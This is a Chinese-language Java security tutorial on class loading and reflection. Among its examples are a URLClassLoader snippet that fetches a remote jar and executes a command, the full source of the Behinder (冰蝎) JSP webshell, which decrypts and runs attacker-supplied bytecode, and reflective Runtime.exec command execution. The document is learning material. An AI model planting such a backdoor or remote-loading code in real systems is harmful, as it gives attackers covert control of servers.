Java安全基础 Note 类和对象的关系 类是对象的抽象,而对象是类的具体实例。类是抽象的,不占用内存,而对象是具体的,占用存储空间。类是用于创建对象的蓝图,它是一个定义包括在特定类型的对象中的方法和变量的软件模板。
类与对象的关系就如模具和铸件的关系 类的实例化结果就是对象,而对一类对象的抽象就是类,类描述了一组有相同属性和相同方法的对象。
class类的newInstance方法 class的newInstance()方法,需要我们类中存在无参的构造器,并且能直接访问,它通过无参的构造器来实例化,而一旦我们类中不存在无参构造器,那么第一种方法就不行了
getMethods 和 getDeclaredMethods 方法的区别 getMethods:获取当前类或父类或父接口的 public 修饰的字段;包含接口中 default 修饰的方法 (JDK1.8)。
getDeclaredMethods: 获取当前类的所有方法 ;包括 protected/默认/private 修饰的方法;不包括父类 、接口 public 修饰的方法。
反射Runtime.exec和ProcessBuilder区别 Rutime无需构造器newInstance实例化,因为getRuntime方法本身会返回一个Runtime对象;而ProcessBuilder需要先反射获取有参构造器,再通过构造器进行实例化
RunTime是JVM负责实例化的,且使用了单例设计模式,必须通过RunTime内部的getRuntime()方法获取实例化对象
Java接口 接口(英文:Interface),在JAVA编程语言中是一个抽象类型,是抽象方法的集合,接口通常以interface来声明。一个类通过继承接口的方式,从而来继承接口的抽象方法。
接口并不是类,编写接口的方式和类很相似,但是它们属于不同的概念。类描述对象的属性和方法。接口则包含类要实现的方法。
除非实现接口的类是抽象类,否则该类要定义接口中的所有方法。
接口无法被实例化,但是可以被实现。一个实现接口的类,必须实现接口内所描述的所有方法,否则就必须声明为抽象类。另外,在 Java 中,接口类型可用来声明一个变量,他们可以成为一个空指针,或是被绑定在一个以此接口实现的对象。
transient关键字 transient是短暂的意思。对于transient 修饰的成员变量,在类的实例对象的序列化处理过程中会被忽略。 因此,transient变量不会贯穿对象的序列化和反序列化,生命周期仅存于调用者的内存中而不会写到磁盘里进行持久化。
transient是Java语言的关键字,用来表示一个成员变量不是该对象序列化的一部分。当一个对象被序列化的时候,transient型变量的值不包括在序列化的结果中。而非transient型的变量是被包括进去的。 注意static修饰的静态变量天然就是不可序列化的。
ClassLoader(类加载机制) Java是一个依赖于JVM
(Java虚拟机)实现的跨平台的开发语言。Java程序在运行前需要先编译成class文件
,Java类初始化的时候会调用java.lang.ClassLoader
加载类字节码,ClassLoader
会调用JVM的native方法(defineClass0/1/2
)来定义一个java.lang.Class
实例。
JVM架构图:
Java类 Java是编译型语言,我们编写的java文件需要编译成后class文件后才能够被JVM运行
示例代码:
1 2 3 4 5 public class Main { public static void main (String[] args) { System.out.println("Hello world!" ); } }
可通过javap
反汇编class文件,或者通过hexdump查看二进制数据
JVM在执行TestHelloWorld
之前会先解析class二进制内容,JVM执行的其实就是如上javap
命令生成的字节码。
ClassLoader 一切的Java类都必须经过JVM加载后才能运行,而ClassLoader
的主要作用就是Java类文件的加载。
在JVM类加载器中最顶层的是Bootstrap ClassLoader(引导类加载器)
、Extension ClassLoader(扩展类加载器)
、App ClassLoader(系统类加载器)
,AppClassLoader
是默认的类加载器
如果类加载时我们不指定类加载器的情况下,默认会使用AppClassLoader
加载类,ClassLoader.getSystemClassLoader()
返回的系统类加载器也是AppClassLoader
。
值得注意的是某些时候我们获取一个类的类加载器时候可能会返回一个null
值,如:java.io.File.class.getClassLoader()
将返回一个null
对象,因为java.io.File
类在JVM初始化的时候会被Bootstrap ClassLoader(引导类加载器)
加载(该类加载器实现于JVM层,采用C++编写),我们在尝试获取被Bootstrap ClassLoader
类加载器所加载的类的ClassLoader
时候都会返回null
。
ClassLoader
类有如下核心方法:
loadClass
(加载指定的Java类)
findClass
(查找指定的Java类)
findLoadedClass
(查找JVM已经加载过的类)
defineClass
(定义一个Java类)
resolveClass
(链接指定的Java类)
Java类动态(显式)加载方式 Java类加载方式分为显式
和隐式
,显式
即我们通常使用Java反射
或者ClassLoader
来动态加载一个类对象,而隐式
指的是类名.方法名()
或new
类实例。显式
类加载方式也可以理解为类动态加载,我们可以自定义类加载器去加载任意的类。
常用的类动态加载方式:
1 2 3 4 5 Class.forName("com.y5neko.sec.classloader.TestHelloWorld" ); this .getClass().getClassLoader().loadClass("com.y5neko.sec.classloader.TestHelloWorld" );
Class.forName("类名")
默认会初始化被加载类的静态属性和方法,如果不希望初始化类可以使用Class.forName("类名", 是否初始化类, 类加载器)
,而ClassLoader.loadClass
默认不会初始化类方法。
ClassLoader类加载流程 以一个Java的HelloWorld来学习ClassLoader
。
ClassLoader
加载com.y5neko.sec.classloader.TestHelloWorld
类loadClass
重要流程如下:
ClassLoader
会调用public Class<?> loadClass(String name)
方法加载com.y5neko.sec.classloader.TestHelloWorld
类。
调用findLoadedClass
方法检查TestHelloWorld
类是否已经初始化,如果JVM已初始化过该类则直接返回类对象。
如果创建当前ClassLoader
时传入了父类加载器(new ClassLoader(父类加载器)
)就使用父类加载器加载TestHelloWorld
类,否则使用JVM的Bootstrap ClassLoader
加载。
如果上一步无法加载TestHelloWorld
类,那么调用自身的findClass
方法尝试加载TestHelloWorld
类。
如果当前的ClassLoader
没有重写了findClass
方法,那么直接返回类加载失败异常。如果当前类重写了findClass
方法并通过传入的com.y5neko.sec.classloader.TestHelloWorld
类名找到了对应的类字节码,那么应该调用defineClass
方法去JVM中注册该类。
如果调用loadClass的时候传入的resolve
参数为true,那么还需要调用resolveClass
方法链接类,默认为false。
返回一个被JVM加载后的java.lang.Class
类对象。
自定义ClassLoader java.lang.ClassLoader
是所有的类加载器的父类,java.lang.ClassLoader
有非常多的子类加载器,比如我们用于加载jar包的java.net.URLClassLoader
其本身通过继承java.lang.ClassLoader
类,重写了findClass
方法从而实现了加载目录class文件甚至是远程资源文件。
既然已知ClassLoader具备了加载类的能力,那么我们不妨尝试下写一个自己的类加载器来实现加载自定义的字节码(这里以加载TestHelloWorld
类为例)并调用hello
方法。
如果com.y5neko.sec.TestHelloWorld
类存在的情况下,我们可以使用如下代码即可实现调用hello
方法并输出:
1 2 3 TestHelloWorld t = new TestHelloWorld ();String str = t.hello();System.out.println(str);
但是如果com.y5neko.sec.classloader.TestHelloWorld
根本就不存在于我们的classpath
,那么我们可以使用自定义类加载器重写findClass
方法,然后在调用defineClass
方法的时候传入TestHelloWorld
类的字节码的方式来向JVM中定义一个TestHelloWorld
类,最后通过反射机制就可以调用TestHelloWorld
类的hello
方法了。
测试自定义ClassLoader:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 package com.y5neko.sec.classloader;import java.lang.reflect.Method;public class TestClassLoader extends ClassLoader { public static String testClassName = "com.y5neko.sec.classloader.TestHelloWorld" ; private static final byte [] testClassBytes = new byte []{ -54 , -2 , -70 , -66 , 0 , 0 , 0 , 51 , 0 , 17 , 10 , 0 , 4 , 0 , 13 , 8 , 0 , 14 , 7 , 0 , 15 , 7 , 0 , 16 , 1 , 0 , 6 , 60 , 105 , 110 , 105 , 116 , 62 , 1 , 0 , 3 , 40 , 41 , 86 , 1 , 0 , 4 , 67 , 111 , 100 , 101 , 1 , 0 , 15 , 76 , 105 , 110 , 101 , 78 , 117 , 109 , 98 , 101 , 114 , 84 , 97 , 98 , 108 , 101 , 1 , 0 , 5 , 104 , 101 , 108 , 108 , 111 , 1 , 0 , 20 , 40 , 41 , 76 , 106 , 97 , 118 , 97 , 47 , 108 , 97 , 110 , 103 , 47 , 83 , 116 , 114 , 105 , 110 , 103 , 59 , 1 , 0 , 10 , 83 , 111 , 117 , 114 , 99 , 101 , 70 , 105 , 108 , 101 , 1 , 0 , 19 , 84 , 101 , 115 , 116 , 72 , 101 , 108 , 108 , 111 , 87 , 111 , 114 , 108 , 100 , 46 , 106 , 97 , 118 , 97 , 12 , 0 , 5 , 0 , 6 , 1 , 0 , 12 , 72 , 101 , 108 , 108 , 111 , 32 , 87 , 111 , 114 , 108 , 100 , 126 , 1 , 0 , 40 , 99 , 111 , 109 , 47 , 97 , 110 , 98 , 97 , 105 , 47 , 115 , 101 , 99 , 47 , 99 , 108 , 97 , 115 , 115 , 108 , 111 , 97 , 100 , 101 , 114 , 47 , 84 , 101 , 115 , 116 , 72 , 101 , 108 , 108 , 111 , 87 , 111 , 114 , 108 , 100 , 1 , 0 , 16 , 106 , 97 , 118 , 97 , 47 , 108 , 97 , 110 , 103 , 47 , 79 , 98 , 106 , 101 , 99 , 116 , 0 , 33 , 0 , 3 , 0 , 4 , 0 , 0 , 0 , 0 , 0 , 2 , 0 , 1 , 0 , 5 , 0 , 6 , 0 , 1 , 0 , 7 , 0 , 0 , 0 , 29 , 0 , 1 , 0 , 1 , 0 , 0 , 0 , 5 , 42 , -73 , 0 , 1 , -79 , 0 , 0 , 0 , 1 , 0 , 8 , 0 , 0 , 0 , 6 , 0 , 1 , 0 , 0 , 0 , 7 , 0 , 1 , 0 , 9 , 0 , 10 , 0 , 1 , 0 , 7 , 0 , 0 , 0 , 27 , 0 , 1 , 0 , 1 , 0 , 0 , 0 , 3 , 18 , 2 , -80 , 0 , 0 , 0 , 1 , 0 , 8 , 0 , 0 , 0 , 6 , 0 , 1 , 0 , 0 , 0 , 10 , 0 , 1 , 0 , 11 , 0 , 0 , 0 , 2 , 0 , 12 }; @Override public Class<?> findClass(String name) throws ClassNotFoundException { if (name.equals(testClassName)) { return defineClass(testClassName, testClassBytes, 0 , testClassBytes.length); } return super .findClass(name); } public static void main (String[] args) { TestClassLoader loader = new TestClassLoader (); try { Class testClass = loader.loadClass(testClassName); Object testInstance = testClass.newInstance(); Method method = testInstance.getClass().getMethod("hello" ); String str = (String) method.invoke(testInstance); System.out.println(str); }catch (Exception e){ e.printStackTrace(); } } }
URLClassLoader URLClassLoader
继承了ClassLoader
,URLClassLoader
提供了加载远程资源的能力,在写漏洞利用的payload
或者webshell
的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用。
URLClassLoader调用远程方法实例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 package com.y5neko.sec.classloader;import java.io.ByteArrayOutputStream;import java.io.InputStream;import java.net.URL;import java.net.URLClassLoader;public class TestURLClassLoader { public static void main (String[] args) { try { URL url = new URL ("https://www.ysneko.com/CMD.jar" ); System.out.println(url); URLClassLoader ucl = new URLClassLoader (new URL [] {url}); System.out.println(ucl); String cmd = "calc" ; Class<?> cmdClass = ucl.loadClass("CMD" ); Process process = (Process) cmdClass.getMethod("exec" , String.class).invoke(null ,cmd); InputStream in = process.getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream (); byte [] b = new byte [1024 ]; int a = -1 ; while ((a = in.read(b)) != -1 ) { baos.write(b, 0 , a); } System.out.println(baos); }catch (Exception e){ e.printStackTrace(); } } }
远程jar包中的CMD类:
1 2 3 4 5 6 7 8 import java.io.IOException;public class CMD { public static Process exec (String cmd) throws IOException { return Runtime.getRuntime().exec(cmd); } }
类加载隔离 创建类加载器的时候可以指定该类加载的父类加载器,ClassLoader是有隔离机制的,不同的ClassLoader可以加载相同的Class(两者必须是非继承关系),同级ClassLoader跨类加载器调用方法时必须使用反射。
跨类加载器加载 RASP和IAST经常会用到跨类加载器加载类的情况,因为RASP/IAST会在任意可能存在安全风险的类中插入检测代码,因此必须得保证RASP/IAST的类能够被插入的类所使用的类加载正确加载,否则就会出现ClassNotFoundException,除此之外,跨类加载器调用类方法时需要特别注意一个基本原则:
ClassLoader A和ClassLoader B可以加载相同类名的类,但是ClassLoader A中的Class A和ClassLoader B中的Class A是完全不同的对象,两者之间调用只能通过反射。
跨类加载器实例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 package com.y5neko.sec.classloader;import java.lang.reflect.Method;import static com.y5neko.sec.classloader.TestClassLoader.TEST_CLASS_BYTES;import static com.y5neko.sec.classloader.TestClassLoader.TEST_CLASS_NAME;public class TestCrossClassLoader { public static class ClassLoaderA extends ClassLoader { public ClassLoaderA (ClassLoader parent) { super (parent); } { defineClass(TEST_CLASS_NAME, TEST_CLASS_BYTES, 0 , TEST_CLASS_BYTES.length); } } public static class ClassLoaderB extends ClassLoader { public ClassLoaderB (ClassLoader parent) { super (parent); } { defineClass(TEST_CLASS_NAME, TEST_CLASS_BYTES, 0 , TEST_CLASS_BYTES.length); } } public static void main (String[] args) throws Exception { ClassLoader parentClassLoader = ClassLoader.getSystemClassLoader(); ClassLoaderA aClassLoader = new ClassLoaderA (parentClassLoader); ClassLoaderB bClassLoader = new ClassLoaderB (parentClassLoader); Class<?> aClass = Class.forName(TEST_CLASS_NAME, true , aClassLoader); Class<?> aaClass = Class.forName(TEST_CLASS_NAME, true , aClassLoader); Class<?> bClass = Class.forName(TEST_CLASS_NAME, true , bClassLoader); System.out.println("aClass == aaClass:" + (aClass == aaClass)); System.out.println("aClass == bClass:" + (aClass == bClass)); System.out.println("\n" + aClass.getName() + "方法清单:" ); Method[] methods = aClass.getDeclaredMethods(); for (Method method : methods) { System.out.println(method); } Object instanceA = aClass.newInstance(); Method helloMethod = aClass.getMethod("hello" ); String result = (String) helloMethod.invoke(instanceA); System.out.println("\n反射调用:" + TEST_CLASS_NAME + "类" + helloMethod.getName() + "方法,返回结果:" + result); } }
执行输出结果:
1 2 3 4 5 6 7 8 aClass == aaClass:true aClass == bClass:false com.y5neko.sec.classloader.TestHelloWorld方法清单: public java.lang.String com.y5neko.sec.classloader.TestHelloWorld.hello()反射调用:com.y5neko.sec.classloader.TestHelloWorld类hello方法,返回结果:Hello World~
JSP自定义类加载后门 以冰蝎
为首的JSP后门利用的就是自定义类加载实现的,冰蝎的客户端会将待执行的命令或代码片段通过动态编译成类字节码并加密后传到冰蝎的JSP后门,后门会经过AES解密得到一个随机类名的类字节码,然后调用自定义的类加载器加载,最终通过该类重写的equals
方法实现恶意攻击,其中equals
方法传入的pageContext
对象是为了便于获取到请求和响应对象,需要注意的是冰蝎的命令执行等参数不会从请求中获取,而是直接插入到了类成员变量中。
冰蝎JSP后门:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <%@page import ="java.util.*,javax.crypto.*,javax.crypto.spec.*" %> <%! class U extends ClassLoader { U(ClassLoader c) { super (c); } public Class g (byte [] b) { return super .defineClass(b, 0 , b.length); } } %> <% if (request.getMethod().equals("POST" )) { String k = "e45e329feb5d925b" ; session.putValue("u" , k); Cipher c = Cipher.getInstance("AES" ); c.init(2 , new SecretKeySpec (k.getBytes(), "AES" )); new U (this .getClass().getClassLoader()).g(c.doFinal(new sun .misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); } %>
冰蝎命令执行类反编译:
JSP类加载 JSP是JavaEE中的一种常用的脚本文件,可以在JSP中调用Java代码,实际上经过编译后的jsp就是一个Servlet文件,JSP和PHP一样可以实时修改。
众所周知,Java的类是不允许动态修改的(这里特指新增类方法或成员变量),之所以JSP具备热更新的能力,实际上借助的就是自定义类加载行为,当Servlet容器发现JSP文件发生了修改后就会创建一个新的类加载器来替代原类加载器,而被替代后的类加载器所加载的文件并不会立即释放,而是需要等待GC。
模拟jsp文件动态加载程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 package com.y5neko.sec.classloader;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import java.io.File;import java.lang.reflect.Method;import java.lang.reflect.Modifier;import java.util.HashMap;import java.util.Map;public class TestJSPClassLoader { private final Map<File, JSPClassLoader> jspClassLoaderMap = new HashMap <File, JSPClassLoader>(); public static byte [] createTestJSPClass(String className, String content) throws Exception { ClassPool classPool = ClassPool.getDefault(); CtClass ctServletClass = classPool.makeClass(className); CtMethod ctMethod = new CtMethod (CtClass.voidType, "_jspService" , new CtClass []{}, ctServletClass); ctMethod.setModifiers(Modifier.PUBLIC); ctMethod.setBody("System.out.println(\"" + content + "\");" ); ctServletClass.addMethod(ctMethod); byte [] bytes = ctServletClass.toBytecode(); ctServletClass.detach(); return bytes; } public JSPClassLoader getJSPFileClassLoader (File jspFile, String className, byte [] bytes, ClassLoader parent) { JSPClassLoader jspClassLoader = this .jspClassLoaderMap.get(jspFile); if (jspClassLoader == null ) { jspClassLoader = new JSPClassLoader (parent); jspClassLoader.createClass(className, bytes); this .jspClassLoaderMap.put(jspFile, jspClassLoader); return jspClassLoader; } if (jspFile.lastModified() == 0 ) { jspClassLoader = new JSPClassLoader (parent); jspClassLoader.createClass(className, bytes); this .jspClassLoaderMap.put(jspFile, jspClassLoader); return jspClassLoader; } return null ; } public void invokeJSPServiceMethod (File jspFile, String className, byte [] bytes, ClassLoader parent) { JSPClassLoader jspClassLoader = getJSPFileClassLoader(jspFile, className, bytes, parent); try { Class<?> jspClass = jspClassLoader.loadClass(className); Object jspInstance = jspClass.newInstance(); Method jspServiceMethod = jspClass.getMethod("_jspService" ); jspServiceMethod.invoke(jspInstance); } catch (Exception e) { e.printStackTrace(); } } public static void main (String[] args) throws Exception { TestJSPClassLoader test = new TestJSPClassLoader (); String className = "com.y5neko.sec.classloader.test_jsp" ; File jspFile = new File ("/data/test.jsp" ); ClassLoader classLoader = ClassLoader.getSystemClassLoader(); byte [] testJSPClass01 = createTestJSPClass(className, "Hello y5neko!" ); test.invokeJSPServiceMethod(jspFile, className, testJSPClass01, classLoader); byte [] testJSPClass02 = createTestJSPClass(className, "Hello Y5neKO!" ); test.invokeJSPServiceMethod(jspFile, className, testJSPClass02, classLoader); } static class JSPClassLoader extends ClassLoader { public JSPClassLoader (ClassLoader parent) { super (parent); } public void createClass (String className, byte [] bytes) { defineClass(className, bytes, 0 , bytes.length); } } }
该示例程序通过Javassist动态生成了两个不同的com.y5neko.sec.classloader.test_jsp
类字节码,模拟JSP文件修改后的类加载,核心原理就是检测到JSP文件修改后动态替换类加载器 ,从而实现JSP热加载,具体的处理逻辑如下(第3和第4部未实现,使用了Javassist动态创建):
模拟客户端第一次访问test.jsp;
检测是否已缓存了test.jsp的类加载;
Servlet容器找到test.jsp文件并编译成test_jsp.java;
编译成test_jsp.class文件;
创建test.jsp文件专用的类加载器jspClassLoader
,并缓存到jspClassLoaderMap
对象中;
jspClassLoader
加载test_jsp.class字节码并创建com.y5neko.sec.classloader.test_jsp
类;
jspClassLoader
调用com.y5neko.sec.classloader.test_jsp
类的_jspService
方法;
输出Hello y5neko!
;
模拟客户端第二次访问test.jsp;
假设test.jsp文件发生了修改,重新编译test.jsp并创建一个新的类加载器jspClassLoader
加载新的类字节码;
使用新创建的jspClassLoader
类加载器调用com.y5neko.sec.classloader.test_jsp
类的_jspService
方法;
输出Hello Y5neKO
;
Java反射机制 Java反射(Reflection
)是Java非常重要的动态特性,通过使用反射我们不仅可以获取到任何类的成员方法(Methods
)、成员变量(Fields
)、构造方法(Constructors
)等信息,还可以动态创建Java类实例、调用任意的类方法、修改任意的类成员变量值等。Java反射机制是Java语言的动态性的重要体现,也是Java的各种框架底层实现的灵魂。
Java 的反射机制 是指在运行状态中,对于任意一个类都能够知道这个类所有的属性和方法; 并且对于任意一个对象,都能够调用它的任意一个方法;这种动态获取信息以及动态调用对象方法的功能成为Java语言的反射机制。
而我们之前在上面介绍的运用new关键字去实例化类的过程就叫做正射 。那么假如,我是说如果我们一开始并不知道我们要初始化的类对象是什么,那么阁下该如何应对呢?
所以总的来说,就是当我在程序运行前并不知道我们要实例什么类的时候,我们就需要运用反射,通过反射我们可以获取这个类的原型,然后为所欲为。
获取Class对象 Java反射操作的是java.lang.Class
对象,所以我们需要先想办法获取到Class对象,通常我们有如下几种方式获取一个类的Class对象:
类名.class
,如:com.y5neko.sec.classloader.TestHelloWorld.class
。
Class.forName("com.y5neko.sec.classloader.TestHelloWorld")
。
classLoader.loadClass("com.y5neko.sec.classloader.TestHelloWorld");
获取Runtime类Class对象代码片段 1 2 3 4 String className = "java.lang.Runtime" ;Class runtimeClass1 = Class.forName(className);Class runtimeClass2 = java.lang.Runtime.class;Class runtimeClass3 = ClassLoader.getSystemClassLoader().loadClass(className);
1 2 3 4 5 6 7 8 9 Class p=Class.forName("test.phone" ); phone p=new phone (); Class p1=p.getClass(); Class p=phone.class;
获取实例化对象(object) 获取实例化对象object的方法通常有两种:
1 2 3 4 5 6 7 8 9 10 11 12 13 Class p = Class.forName("test.phone" );Object p1 = p.newInstance();Class p = Class.forName("test.phone" );phone p1 = (phone)p.newInstance();Class p=Class.forName("test.phone" ); Constructor constructor=p.getConstructor(); Object p1=constructor.newInstance();
下面用一个实例来演示一下反射获取类和对象
phone类 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package com.y5neko.sec.phone;public class phone { private String name; private double weight; public phone () { } public phone (String name,double weight) { this .name=name; this .weight=weight; } public void dianyuan () { System.out.println("开机" ); } public void setName (String name) { this .name=name; } public String getName () { return name; } public void setWeight (double weight) { this .weight=weight; } public double getWeight () { return weight; } }
反射获取示例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 package com.y5neko.sec.reflect;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;public class TestReflectClass { public static void main (String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException { Class p = Class.forName("com.y5neko.sec.phone.phone" ); System.out.println(p); Object p1 = p.newInstance(); System.out.println("class的newInstance方法:\n" + p1); Method method1 = p.getDeclaredMethod("setName" , String.class); Method method2 = p.getDeclaredMethod("getName" ); method1.setAccessible(true ); method1.invoke(p1,new Object []{"IQOO" }); System.out.println(method2.invoke(p1)); Class p_2 = Class.forName("com.y5neko.sec.phone.phone" ); phone p2 = (phone)p_2.newInstance(); System.out.println("class的第二个newInstance方法:\n" + p2); Class p_3 = Class.forName("com.y5neko.sec.phone.phone" ); Constructor constructor = p_3.getConstructor(String.class, double .class); System.out.println("constructor的newInstance方法:" ); System.out.println(constructor); Object p3 = constructor.newInstance("IQOO" ,12.5 ); System.out.println(p3); phone pp = new phone (); System.out.println(pp); pp.setName("123" ); } }
class的newInstance()方法,需要我们类中存在无参的构造器,它通过无参的构造器来实例化,而一旦我们类中不存在无参构造器,那么第一种方法就不行了
我们可以用constructor的newInstance方法来直接通过有参构造器初始化:
constructor的newInstance方法 1 2 3 4 5 Class p_3 = Class.forName("com.y5neko.sec.phone.phone" );Constructor constructor = p_3.getConstructor(String.class, double .class);Object p3 = constructor.newInstance("IQOO" ,12.5 );
获取类的构造器(constructor) 获取类的构造器constructor一般有四种方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Class p=Class.forName("test.phone" ); Constructor constructor=p.getConstructor(); Class p=Class.forName("test.phone" ); Constructor[] constructor=p.getConstructors(); Class p=Class.forName("test.phone" ); Constructor constructor=p.getDeclaredConstructor(); Class p=Class.forName("test.phone" ); Constructor[] constructor=p.getDeclaredConstructors();
获取构造器实例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package com.y5neko.sec.reflect;import java.lang.reflect.Constructor;public class TestReflectConstructor { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException { Class p=Class.forName("com.y5neko.sec.phone.phone" ); Constructor constructor=p.getConstructor(String.class, double .class); System.out.println("public类型的构造器:" ); System.out.println(constructor); Constructor[] constructors = p.getConstructors(); System.out.println("全部public类型的构造器:" ); for (int i = 0 ; i < constructors.length; i++) { System.out.println(constructors[i]); } Constructor constructor1 = p.getDeclaredConstructor(); System.out.println("private和public类型的构造器:" ); System.out.println(constructor1); Constructor[] constructors1 = p.getDeclaredConstructors(); System.out.println("全部类型的构造器:" ); for (int i = 0 ; i < constructors1.length; i++) { System.out.println(constructors1[i]); } } }
获取类的属性(field) 常见的获取类属性field的方法有四种:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Class p=Class.forName("test.phone" ); Field f=p.getField("name" ); Class p=Class.forName("test.phone" ); Field f=p.getDeclaredField("weight" ); Class p=Class.forName("test.phone" ); Field[] f=p.getFields(); Class p=Class.forName("test.phone" ); Field[] f=p.getDeclaredFields();
获取属性实例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package com.y5neko.sec.reflect;import java.lang.reflect.Field;public class TestReflectField { public static void main (String[] args) throws ClassNotFoundException, NoSuchFieldException { Class p = Class.forName("com.y5neko.sec.phone.phone" ); Field field = p.getField("test" ); System.out.println("获取类的一个public类型属性:" ); System.out.println(field); Field[] fields = p.getFields(); System.out.println("获取类的所有public类型属性:" ); for (int i = 0 ; i < fields.length; i++) { System.out.println(fields[i]); } Field field1 = p.getDeclaredField("name" ); System.out.println("获取类的一个所有类型属性:" ); System.out.println(field1); Field[] fields1 = p.getDeclaredFields(); System.out.println("获取类的所有所有类型属性:" ); for (int i = 0 ; i < fields1.length; i++) { System.out.println(fields1[i]); } } }
获取类的方法(method) 常用的获取类的方法有三种:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Class p=Class.forName("test.phone" ); Method m=p.getMethod("setName" , String.class); Class p=Class.forName("test.phone" ); Method m=p.getDeclaredMethod("setName" , String.class); Class p=Class.forName("test.phone" ); Method[] m=p.getMethods(); Class p=Class.forName("test.phone" ); Method[] m=p.getDeclaredMethods();
获取方法实例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 package com.y5neko.sec.reflect;import java.lang.reflect.Method;public class TestReflectMethod { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException { Class p = Class.forName("com.y5neko.sec.phone.phone" ); Method method = p.getMethod("dianyuan" ); System.out.println("获取类的一个特定public类型的方法:" ); System.out.println(method); Method[] methods = p.getMethods(); System.out.println("获取类的所有public类型的方法:" ); for (int i = 0 ; i < methods.length; i++) { System.out.println(methods[i]); } Method method1 = p.getDeclaredMethod("poweroff" ); System.out.println("获取类的一个特定任意类型的方法:" ); System.out.println(method1); Method[] methods1 = p.getDeclaredMethods(); System.out.println("获取类的所有类型的方法:" ); for (int i = 0 ; i < methods1.length; i++) { System.out.println(methods1[i]); } } }
反射完整调用流程 1 2 3 4 5 6 7 8 9 10 Class p=Class.forName("test.phone" ); Constructor constructor=p.getConstructor(); Object o=constructor.newInstance(); Method m=p.getMethod("dianyuan" ); m.invoke(o); Method m1=p.getMethod("setName" , String.class); Method m2=p.getMethod("getName" ); m1.setAccessible(true ); m1.invoke(o,"8848" ); System.out.println(m2.invoke(o));
反射执行实例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 package com.y5neko.sec.reflect;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;public class TestReflect { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException { Class p = Class.forName("com.y5neko.sec.phone.phone" ); Constructor constructor = p.getConstructor(); Constructor constructor1 = p.getConstructor(String.class, double .class); Object o = constructor.newInstance(); Object o1 = constructor1.newInstance("IQOO" ,12.5 ); Method method = p.getDeclaredMethod("dianyuan" ); method.invoke(o); Method method1 = p.getDeclaredMethod("setName" , String.class); Method method2 = p.getDeclaredMethod("getName" ); Method method3 = p.getDeclaredMethod("poweroff" ); method1.invoke(o,"IQOO11" ); System.out.println(method2.invoke(o)); method3.setAccessible(true ); method3.invoke(o); } }
反射Runtime类命令执行 首先看一下Runtime类命令执行的流程
我们可以看到无参构造器是private的,所以无法直接使用class类的newInstance方法,所以需要getDeclaredConstructor获取,并且需要setAccessible修改作用域
继续跟进到我们要调用的exec方法
exec一共有六个重载函数,我们用第一个就行,public类型直接获取方法就行
接下来我们直接反射
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package com.y5neko.sec.reflect;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;public class TestReflectExec { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Class clazz = Class.forName("java.lang.Runtime" ); Constructor constructor = clazz.getDeclaredConstructor(); constructor.setAccessible(true ); Object o = constructor.newInstance(); Method method = clazz.getMethod("exec" , String.class); method.invoke(o,"calc" ); } }
如果需要回显则需要读取输入流
